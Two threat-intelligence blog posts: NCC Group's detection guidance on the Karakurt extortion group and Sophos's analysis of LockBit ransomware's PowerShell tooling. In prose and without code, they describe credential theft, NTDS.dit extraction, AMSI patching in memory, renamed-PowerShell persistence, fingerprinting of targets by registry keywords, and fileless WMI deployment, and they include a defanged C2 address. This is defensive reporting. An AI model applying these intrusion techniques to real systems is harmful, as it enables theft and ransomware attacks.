# Detecting Karakurt – an extortion focused threat actor **tl;dr** NCC Group’s Cyber Incident Response Team (CIRT) have responded to several extortion cases recently involving the threat actor Karakurt. During these investigations, NCC Group CIRT have identified some key indicators that the threat actor has breached an environment and we are sharing this intelligence to assist the cyber defense security community. It is thought that there may be a small window to respond to an undetected Karakurt breach prior to data exfiltration taking place, and we strongly urge any organisations that use single factor Fortinet VPN access to use the information from the detection section of this blog to identify if they may have been breached. ## Initial Access In all cases investigated, Karakurt have targeted single factor Fortigate Virtual Private Network (VPN) servers. It was observed that access was made using legitimate Active Directory credentials for the victim environment. The typical dwell time (time from threat actor access to detection) has been in the region of just over a month, in part due to the fact the group do not encrypt their victims and use “living off the land” techniques to remain undetected by not utilising anything recognised as malware. It is not clear how these credentials have been obtained at this stage, with the VPN servers in question not being vulnerable to the high profile Fortigate vulnerabilities that have had attention over the past couple of years. NCC Group strongly recommends that any organisation utilising single factor authentication on a Fortigate VPN to search for the indicators of compromise detailed at the conclusion of this blog. ## Privilege Escalation Karakurt have obtained access to domain administrator level privileges in all of the investigated cases, but the privilege escalation method has not yet been accurately determined. In one case, attempts to exploit CVE-2020-1472, also known as Zerologon, were detected by security software. The actual environment was not vulnerable to Zerologon, however, indicating Karakurt may be attempting to exploit a number of vulnerabilities as part of their operation. ## Lateral Movement Karakurt have then been seen to move laterally onto the primary domain controller of their victim’s using the Sysinternals tool PsExec, which provides a multitude of remote functionality. Karakurt have also utilised Remote Desktop Protocol (RDP) to move around victim environments. ## Discovery Once Karakurt obtain access to the primary domain controller, they conduct a number of discovery actions, enumerating information about the domain controller itself as well as the wider domain. One particular technique involves creating a DNS Zone export via an Encoded PowerShell command. This command leaves a series of indicators in the Microsoft-Windows-DNS-Server-Service Event Log in the form of Event ID 3150, DNS_EVENT_ZONE_WRITE_COMPLETED. This log is interesting as an indicator as it was present in all Karakurt engagements investigated by NCC Group CIRT, and in all cases, the only occurrence of these events were caused when Karakurt performed the zone exports. This was conducted very early in the breach, just after initial access and prior to data exfiltration occurring, which was typically two weeks from initial access. This action is also accompanied by extraction of the NTDS.dit file, believed to be utilised by Karakurt to obtain further credentials as a means of persistence in the environment should the account they initially gained access with be disabled. This is evident through the presence of logs showing the volume shadow service being utilised. NCC Group CIRT strongly recommends that any organisation using single factor Fortinet VPN access checks their domain controllers Microsoft-Windows-DNS-Server logs for evidence of Event ID 3150. If this is present at any point since December, then it may well be an indicator of a breach by Karakurt. ## Data Staging Once the discovery actions have been completed, Karakurt appeared to leave the environment before re-entering and identifying servers with access to sensitive victim data on file shares. Once such a server is identified, a secondary persistence mechanism was utilised in the form of the remote desktop software AnyDesk, allowing Karakurt access even if the VPN access was removed. On the same server that AnyDesk is installed, Karakurt have been identified browsing folders local to the server and on file shares. 7-Zip archives have then been created on the server. In the cases investigated, there were no firewall logs or other evidence to confirm the data was then exfiltrated, but based on the claims from Karakurt along with the file tree text file provided as proof, it is strongly believed that the data was exfiltrated in all cases investigated. It is suspected that Karakurt are utilising Rclone to exfiltrate data to cloud data hosting providers. ## Mitigations To remove the threat immediately, multi-factor authentication should be implemented for VPN access using a Fortinet VPN. Ensure all Domain Controllers are fully patched and patch for critical vulnerabilities generally. ## Detection - Look for evidence of the hosts authenticating from the VPN pool with the naming convention used as default for Windows hosts, for example, DESKTOP-XXXXXX. - Check for event log 3150 in the Microsoft-Windows-DNS-Server-Service Event Log. - Check for unauthorised use of AnyDesk or PsExec in the environment.
# LockBit Uses Automated Attack Tools to Identify Tasty Targets Earlier this year, we analyzed the inner workings of LockBit, a ransomware family that emerged a year ago and quickly became another player in the targeted extortion business alongside Maze and REvil. LockBit has been quickly maturing, as we observed in April, using some novel ways to escalate privileges by bypassing Windows User Account Control (UAC). A series of recent attacks detected by Sophos provided us with the opportunity to dive deeper into LockBit’s tools, techniques, and practices. The actors behind the ransomware use a number of methods to evade detection: calling scripts from a remote Google document, using PowerShell in a way that may foil some efforts at monitoring and logging to establish a persistent backdoor—by using renamed copies of PowerShell.exe. The attack scripts also attempt to bypass Windows 10’s built-in anti-malware interface, directly applying patches to it in memory. Internally, we’ve referred to this style of LockBit attack as “PSRename.” Based on some artifacts, we believe that some components of the attack were based on PowerShell Empire, the PowerShell-based penetration testing post-exploitation tool. Using a series of heavily obfuscated scripts controlled by a remote backend, the PowerShell scripts collect valuable intelligence about targeted networks before unleashing the LockBit ransomware, checking for signs of malware protection, firewalls, and forensic sandboxes as well as very specific types of business software—particularly, point-of-sale systems and tax accounting software. The series of attack scripts only deploys ransomware if the fingerprint of the target matches attractive targets. Aside from the initial point of compromise and registry key entries, these attacks left little in the way of a file footprint for forensic analysis. The ransomware was pulled down by scripts and loaded directly into memory, and then executed. The attackers did a thorough cleanup of logs and supporting files when the attack was executed. These highly automated attacks were fast—once the ransomware attack was launched in earnest, LockBit ransomware was executed across the targeted network within 5 minutes, leveraging Windows administrative tools. ## Layers of Obfuscation The organizations hit in the eight attacks we analyzed were smaller organizations with only partial malware protection deployed. None of them had public Internet-facing systems on their networks, though one had an older firewall with ports open for remote administration by HTTP and HTTPS. It’s not clear what the initial compromise was across these organizations, as we had no visibility into the event. But it appears all of the activity in the attack we analyzed here were initiated from a single compromised server within the network used as the “mothership” for the LockBit attack. While analyzing one of the attacks, we found traces of a number of PowerShell scripts that were launched against systems that had malware protection in place. The scripts gave a clear picture of the degree of automation of the attack and also demonstrated the lengths the LockBit operators had gone to make forensic analysis of their attacks as difficult as possible. In the first stage of the attack, a PowerShell script connects to a Google Docs spreadsheet, retrieving a PowerShell script encoded in Base64 from the body of the spreadsheet. The script fetches the contents of cell B1 in the sheet and executes it. The retrieved script makes a copy of PowerShell in the system’s TMP folder and executes Base64-encoded contents with that copy. Decoding the script reveals it uses a System.Net.ServicePointManager object to create a session connecting to hxxps://142[.]91.170.6, downloading yet another stream of encoded script. This much larger chunk of code contains a function that creates a persistent backdoor. Using a template, the function selects a new name and path to create copies of PowerShell.exe and the Microsoft Scripting Host mshta.exe, as well as fictional agent descriptions to make them look like other legitimate processes. It also creates a Task Scheduler manifest file that uses the renamed executables, scheduling a VBscript command to be executed by the scripting host that invokes the backdoor with the renamed PowerShell executable. We also found the LockBit attackers use another form of persistent backdoor, using an LNK file dropped into Windows’ startup commands folder. The LNK file launches Microsoft Scripting Host to run a VBScript, which in turn executes a PowerShell script to read data stored in the link file itself encoded in Base64. The extra LNK bytes decode to yet another encoded chunk of PowerShell. The script connects to the remote server and pulls down the backdoor script as a stream, then executes the downloaded script with the command line interpreter. ## Empire Building The backdoor stub downloads more obfuscated code, establishing a proxy connection to the command and control server, and creating a web request to pull down more PowerShell code. One of the modules downloaded is a collection of functions used to perform reconnaissance on the targeted system and to disable some of its anti-malware capabilities. One of the functions in the module aims to disable Microsoft Windows’ Antimalware Scan Interface (AMSI) provider by changing its code in memory. The backdoor uses a script to load a Base64-encoded DLL into memory and then executes a PowerShell code that invokes C# code calling the DLL’s methods to patch the copy of the AMSI library already in kernel memory. This code is repeated in another module discovered during our analysis. Another module downloaded by the backdoor checks for anti-malware software and artifacts that indicate it is running on a virtual machine, but also checks for software that may indicate the system is of greater value—using a regular expression to look for tax accounting and point-of-sale software, specific web browsers, and other software. The regular expression parses the local Windows registry, looking for matches to the following keywords: - **Opera**: Opera browser - **Firefox**: Mozilla Firefox browser - **Chrome**: Google Chrome browser - **Tax**: Search for any tax-related software process - **OLT**: OLT Pro desktop tax software - **LACERTE**: Intuit Lacerte tax software for accountants - **PROSERIES**: Intuit ProSeries tax software - **Point of Sale**: Search for point-of-sale (retail) software - **POS**: Search for point-of-sale (retail) software - **Virus**: Search for anti-malware processes - **Defender**: Microsoft Windows Defender - **Secury Anti**: Search for anti-malware processes - **Comodo**: Search for Comodo antivirus or firewall - **Kasper**: Kaspersky anti-malware software - **Protect**: Search for anti-malware processes - **Firewall**: Search for firewall processes If and only if the fingerprint generated by these checks indicates the system is what the attackers are looking for, the C2 server sends back commands that execute additional code. ## Wrecking Crew Depending on what responses come back from the C2, the backdoor can execute a number of tasks, designated by a numeric value. They include simply forcing a logoff, grabbing hash tables to apparently exfiltrate for password cracking, attempting to configure a VNC connection, and attempting to create an IPSEC VPN tunnel. These tasks are executed using variables and modules pushed down by the C2, obfuscating most of their functionality. In the attacks we analyzed, the PowerShell backdoor was used to launch the Windows Management Interface Provider Host (WmiPrvSE.exe). Firewall rules were configured to allow WMI commands to be passed to the system from a server—the initially compromised system—by creating a crafted Windows service. Then, the attackers launched the ransomware via a WMI command, filelessly—without dropping a single file artifact on the disk of the targeted systems. In one case, the WMI commands used port 8530 to reach back to the initially compromised server—the port used for Windows Server Update Service. The server was running Internet Information Server but had never been fully configured to run WSUS. The .ASP file on the server contained a key that was loaded into memory and used to unlock additional operations by the dropper code and trigger the ransomware. All of the targets were hit within five minutes over WMI. The server-side file used to distribute the ransomware, along with most of the event logs on the targeted systems and the server itself, were wiped in the course of the ransomware deployment. Sophos Intercept X stopped the attack on systems it was installed upon, but other systems did not fare as well. ## A Moving Target It’s not a surprise to see yet another ransomware operator using repurposed code from the offensive security tools world—we recently saw Ryuk using Cobalt Strike post-exploitation tools to great effect. PowerShell Empire is easily modified and extended, and the LockBit crew appears to have been able to build a whole set of obfuscated tools just by modifying existing Empire modules. It’s also not a real surprise that ransomware actors would want to target AMSI, the interface used by many anti-malware tools (including Sophos’) to monitor potentially malicious processes running on Windows 10. By combining the use of native tools, logging evasion, and the blinding of AMSI, the LockBit gang has made it increasingly difficult to detect and defeat their attacks once they’ve established a foothold. The only way to defend against these types of ransomware attackers is to have defense in depth and to have consistent implementation of malware protection across all assets. Not having a handle on what services are exposed on a network makes modeling for threats like these difficult. And if services are misconfigured, they can easily be leveraged by attackers for ill purpose. Sophos detects these abuses of PowerShell and the LockBit ransomware.